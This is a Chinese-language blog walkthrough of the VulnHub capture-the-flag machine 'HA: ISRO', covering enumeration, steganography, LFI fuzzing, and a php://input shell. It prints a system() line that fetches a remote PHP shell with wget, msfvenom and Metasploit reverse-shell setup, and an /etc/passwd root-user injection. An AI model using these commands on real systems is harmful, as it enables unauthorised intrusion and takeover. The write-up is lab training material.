『VulnHub系列』HA: ISRO-Walkthrough

靶机地址
难度:中等
靶机发布日期:2019年10月4日

『VulnHub系列』HA: ISRO-Walkthrough_第1张图片
靶机描述:

This is our tribute to the Indian Space Research Organisation (ISRO). We as Indians are proud of ISRO and its achievements. Solve this CTF challenge and feel the work of ISRO.
This machine contains 4 different flags to test your skills.
- Aryabhata
- Bhaskara
- Mangalyaan
- Chandrayaan 2
ENUMERATION IS THE KEY!!!!!

博客中如有任何问题,恳请批评指正,万分感谢。个人邮箱:[email protected]

工具、知识点和漏洞

netdiscover
nmap
dirb
dirsearch
metaspaloit
msfvenom
binwalk
steghide
LFI漏洞
/etc/passwd可写

存疑、待解决

  • 为什么binwalk无法检测出图片中包含的flag.txt,而steghide却可以提取出来?

0x00、信息收集

靶机IP:192.168.0.107

netdiscover -r 192.168.0.0/24

『VulnHub系列』HA: ISRO-Walkthrough_第2张图片
端口和服务

nmap -sS -sV -T4 -A -p- 192.168.0.107

『VulnHub系列』HA: ISRO-Walkthrough_第3张图片
页面、目录枚举

dirb http://192.168.0.107 -X .php,.txt,.zip,.html

『VulnHub系列』HA: ISRO-Walkthrough_第4张图片

python3 dirsearch.py -u http://192.168.0.107 -e .php,.txt,.zip,.html

[04:54:33] 301 - 312B - /img -> http://192.168.0.107/img/

gobuster dir -u http://192.168.0.107 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt -x .php,.txt,.html,.zip

『VulnHub系列』HA: ISRO-Walkthrough_第5张图片
网站首页

『VulnHub系列』HA: ISRO-Walkthrough_第6张图片
http://192.168.0.107/bhaskara.html

『VulnHub系列』HA: ISRO-Walkthrough_第7张图片
对L2JoYXNrYXJh进行base64解码得到/bhaskara

echo 'L2JoYXNrYXJh' | base64 -d

在这里插入图片描述

结果让人喜悦,开始以为这可能是个目录吧,然后就访问了一下,结果下载了一个文件

『VulnHub系列』HA: ISRO-Walkthrough_第8张图片
file命令查看文件类型

在这里插入图片描述

『VulnHub系列』HA: ISRO-Walkthrough_第9张图片
bhaskara对应的正是data数据文件。经过一番的google搜索,我们最后使用last 读取了bhaskara里面的内容。

其实这里走偏了,后面再讲。

last -x -f Desktop/bhaskara

『VulnHub系列』HA: ISRO-Walkthrough_第10张图片
有一个系统用户bhaskara?尝试了hydra爆破ssh和ftp,无果。

然后我到Twitter上问了一下做出来的大兄弟,结果这哥们儿没发现bhaskara文件。What??那我想他应该少了一个flag
『VulnHub系列』HA: ISRO-Walkthrough_第11张图片
想着顶部导航栏的各个菜单对应的url会不会都有这样的规律:Bhaskara–>http://192.168.0.107/bhaskara.html,因为它是可以访问的。
于是挨个试着访问了下面的地址:
Aryabhata–>http://192.168.0.107/aryabhata.html
Mangalyaan–>http://192.168.0.107/mangalyaan.html
Chandrayaan 2–>http://192.168.0.107/chandrayaan.html
结果并不是我想的那样。

connect.php,空白页面,查看源代码也是啥也没有

『VulnHub系列』HA: ISRO-Walkthrough_第12张图片

0x01、aryabhata的flag

http://192.168.0.107/img/

『VulnHub系列』HA: ISRO-Walkthrough_第13张图片
我把img目录下的所有图片都下载下来了,挨个用binwalk去检测是否含有其他文件。其实按照常理推断,我们的目标肯定是aryabhata.jpg,至少文件名是比较敏感的。

『VulnHub系列』HA: ISRO-Walkthrough_第14张图片
『VulnHub系列』HA: ISRO-Walkthrough_第15张图片
『VulnHub系列』HA: ISRO-Walkthrough_第16张图片
『VulnHub系列』HA: ISRO-Walkthrough_第17张图片
最后使用steghide提取出flag.txt,这里输入密码的地方直接回车就可以了,不知道为什么最开始使用binwalk的时候没有检测出来。

『VulnHub系列』HA: ISRO-Walkthrough_第18张图片

0x02、发现LFI漏洞

最开始我有想到过connect.php可能有参数的,那个时候我想的是既然名字叫connect,再加上我从下载的那个文件里面得到了一个用户名bhaskara,所以我尝试了connect.php?user=bhaskara,结果并没有起作用。Twitter上老哥说,What can you do with the php file? Can it have parameters maybe? 于是我猜想这个参数会不会是file?结果还真给我猜对了。

『VulnHub系列』HA: ISRO-Walkthrough_第19张图片
存在文件包含漏洞,测试出了webroot的物理路径

『VulnHub系列』HA: ISRO-Walkthrough_第20张图片
随后我用wfuzz想测试一下有哪些文件可读取,因为有些请求虽然返回的是200,但是没有任何内容,所以我用–hl 0过滤掉了这部分。

字典用的是Github上2W+Star的SecLists

wfuzz -c -w /usr/share/wordlists/SecLists/Fuzzing/LFI/LFI-LFISuite-pathtotest-huge.txt --hl 0 http://192.168.0.107/connect.php\?file\=FUZZ

『VulnHub系列』HA: ISRO-Walkthrough_第21张图片
把重复的内容过滤之后剩下了这些可读的默认路径文件

  • /etc/passwd
  • /etc/group
  • /proc/self/stat
  • /proc/self/status
  • /etc/mysql/my.cnf
  • /etc/vsftpd.conf

手工测试的时候还发现了

  • /etc/issue
    『VulnHub系列』HA: ISRO-Walkthrough_第22张图片
    Uid是33,说明运行apache服务的系统用户是www-data

『VulnHub系列』HA: ISRO-Walkthrough_第23张图片
/etc/vsftpd.conf

『VulnHub系列』HA: ISRO-Walkthrough_第24张图片
『VulnHub系列』HA: ISRO-Walkthrough_第25张图片
『VulnHub系列』HA: ISRO-Walkthrough_第26张图片

0x03、getshell

getshell的过程如下:

  • /proc/self/environ无法访问,所以shell via LFI - proc/self/environ method无法使用。
  • 没有开启SMTP服务,所以利用SMTP日志+LFI本地文件包含进行getshell无法使用。
  • 无法读取/var/log/auth.log或者没有权限,nmap扫描的时候发现安装的是openssh 7.6p1,google搜索了一下"openssh log location"

『VulnHub系列』HA: ISRO-Walkthrough_第27张图片

  • 尝试读取了/etc/ssh/sshd_config,没什么有价值的信息,RCE with LFI and SSH Log Poisoning也就用不了.
  • /var/log/apache2/access.log的内容没有读取到,From Local File Inclusion to Remote Code Execution - Part 1也就用不了

尝试了这篇文章里的方法local-file-inclusion-remote-code-execution-vulnerability,成功读取到phpinfo信息,步骤如下:
第一步,使用Burpsuite对connect.php页面进行抓包;
第二步,修改GET请求为POST请求,并将file参数值设为php://input
第三步,增加POST请求内容
第四步,发送请求,之后为了方便查看返回的内容,我使用了Burpsuite里面的Render以达到在浏览器上访问页面的效果。

『VulnHub系列』HA: ISRO-Walkthrough_第28张图片
『VulnHub系列』HA: ISRO-Walkthrough_第29张图片
既然这样我想就可以用下面这个方法上传shell了,但是过程并不顺利

 system('wget http://x.x.x.x/php-shell.php -O /var/www/html/shell.php'); ?>

ifconfig命令查看kali的IP为192.168.0.110

msfvenom生成webshell

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.110 LPORT=1234 R > shell.php 

记得把下图中红框部分的两个字符删除

『VulnHub系列』HA: ISRO-Walkthrough_第30张图片
msfconsole准备接收反弹的shell

msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.0.110
set lport 1234
run

『VulnHub系列』HA: ISRO-Walkthrough_第31张图片
『VulnHub系列』HA: ISRO-Walkthrough_第32张图片
浏览器上访问http://192.168.0.107/shell.php,状态码200,但是msfconsole并没有接收到shell。随后我用同样的方法上传了phpinfo.php,然后浏览器访问时正常显示。

『VulnHub系列』HA: ISRO-Walkthrough_第33张图片
那么为什么shell没有反弹?检查了一遍本地的shell.php,没有什么问题,而且之前也都用了好多遍的。那么靶机上的shell.php是否是“正常”的。从下图中可以看到已经上传上去了。

『VulnHub系列』HA: ISRO-Walkthrough_第34张图片
或者

『VulnHub系列』HA: ISRO-Walkthrough_第35张图片
尝试查看shell.php的内容时,却返回了400的请求

『VulnHub系列』HA: ISRO-Walkthrough_第36张图片
或者

『VulnHub系列』HA: ISRO-Walkthrough_第37张图片
尝试将shell代码进行base64编码

以下payload均需base64编码

  • 是可以成功执行的;
  • 也是可以成功执行的;
  • 也是可以成功执行的;
  • 状态码500
  • 也是可以执行的
  • 状态码500。这个是因为靶机是Ubuntu的,nc默认是无法使用-e参数的。

最后我直接把msfvenom生成的webshell代码进行base64编码,然后使用发送请求,成功getshell

『VulnHub系列』HA: ISRO-Walkthrough_第38张图片
『VulnHub系列』HA: ISRO-Walkthrough_第39张图片
『VulnHub系列』HA: ISRO-Walkthrough_第40张图片

0x04、获取root权限

查找SUID权限可执行文件

『VulnHub系列』HA: ISRO-Walkthrough_第41张图片
目前我知道的可以提权的SUID权限可执行文件有:

  • nmap
  • vim
  • less
  • more
  • nano
  • cp
  • mv
  • find
  • wget
  • bash
    故排除SUID提权的可能性。

查看全局可写目录,并没有发现有价值的信息

『VulnHub系列』HA: ISRO-Walkthrough_第42张图片
查找全局可写文件,结果中奖了,发现/etc/passwd文件可写,这不就等于已经提权成功了么,哈哈哈

find / -writable -type f 2>/dev/null

『VulnHub系列』HA: ISRO-Walkthrough_第43张图片
openssl生成密文

openssl passwd -1 -saltvalue ins1ght

在这里插入图片描述
在/etc/passwd最后一行增加如下内容:

ins1ght:$1$saltvalu$Uzv54LFsmMMwfOZE2hYK//:0:0:who add it:/bin/bash

这里我没有用vim或nano去编辑/etc/passwd。nano我没在这个靶机里面用成,因为报错了;用vim的时候我习惯先用上下左右键移动光标到最后一行,但是这个pty里面用不了。我这里是用echo命令将内容附加到/etc/passwd文件中的。

echo 'ins1ght:$1$saltvalu$Uzv54LFsmMMwfOZE2hYK//:0:0:who add it:/bin/bash' >> /etc/passwd

在这里插入图片描述
su切换至root权限

su ins1ght

『VulnHub系列』HA: ISRO-Walkthrough_第44张图片

0x05、bhaskara的flag

Twitter上问了一下作者下载得到bhaskara文件是个什么玩意儿,得到如下回复:

『VulnHub系列』HA: ISRO-Walkthrough_第45张图片
Github上找到别人写好的获取TrueCrypt文件hash值的脚本truecrypt2john.py

python truecrypt2john.py Desktop/bhaskara > hash
john -wordlist=/usr/share/wordlists/rockyou.txt hash

『VulnHub系列』HA: ISRO-Walkthrough_第46张图片
得到密码xavier

下载VeraCrypt用来打开bhaskara,VeraCrypt下载地址,我这里下载的是Debian-9的版本,下载后校验sha256,校验通过后进行安装。

sha256sum Desktop/veracrypt-1.24-Debian-9-amd64.deb
dpkg -i Desktop/veracrypt-1.24-Debian-9-amd64.deb

『VulnHub系列』HA: ISRO-Walkthrough_第47张图片
打开bhaskara文件

『VulnHub系列』HA: ISRO-Walkthrough_第48张图片
『VulnHub系列』HA: ISRO-Walkthrough_第49张图片
『VulnHub系列』HA: ISRO-Walkthrough_第50张图片
出现上图中错误是因为没有勾选TrueCrypt Mode,见下图。

『VulnHub系列』HA: ISRO-Walkthrough_第51张图片
之后会挂载一个光驱,大家的图标可能略有不同

『VulnHub系列』HA: ISRO-Walkthrough_第52张图片
在这里插入图片描述

0x06、Mangalyaan的flag

关于下面这个flag的获取方法我是看了作者写的Walkthrough,地址在这里ha-isro-vulnhub-walkthrough。嗯~如果没有Tizi的话,文章里面的图片是看不了的……这个我也没招儿

之前nmap扫描端口和服务的时候并没有发现3306端口,但是其实靶机是开了3306端口的,并且只能在本地访问

『VulnHub系列』HA: ISRO-Walkthrough_第53张图片
登录数据库(没有密码),读取flag

show databases;
use flag;
show tables;
select flag from flag;

『VulnHub系列』HA: ISRO-Walkthrough_第54张图片
至此,靶机的4个flag都拿到了。

如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。更多VulnHub靶机的Walkthrough,请访问本人博客(https://blog.csdn.net/weixin_44214107)。欢迎扫描下方个人微信二维码与我交流。我是ins1ght.

『VulnHub系列』HA: ISRO-Walkthrough_第55张图片

你可能感兴趣的:(VulnHub)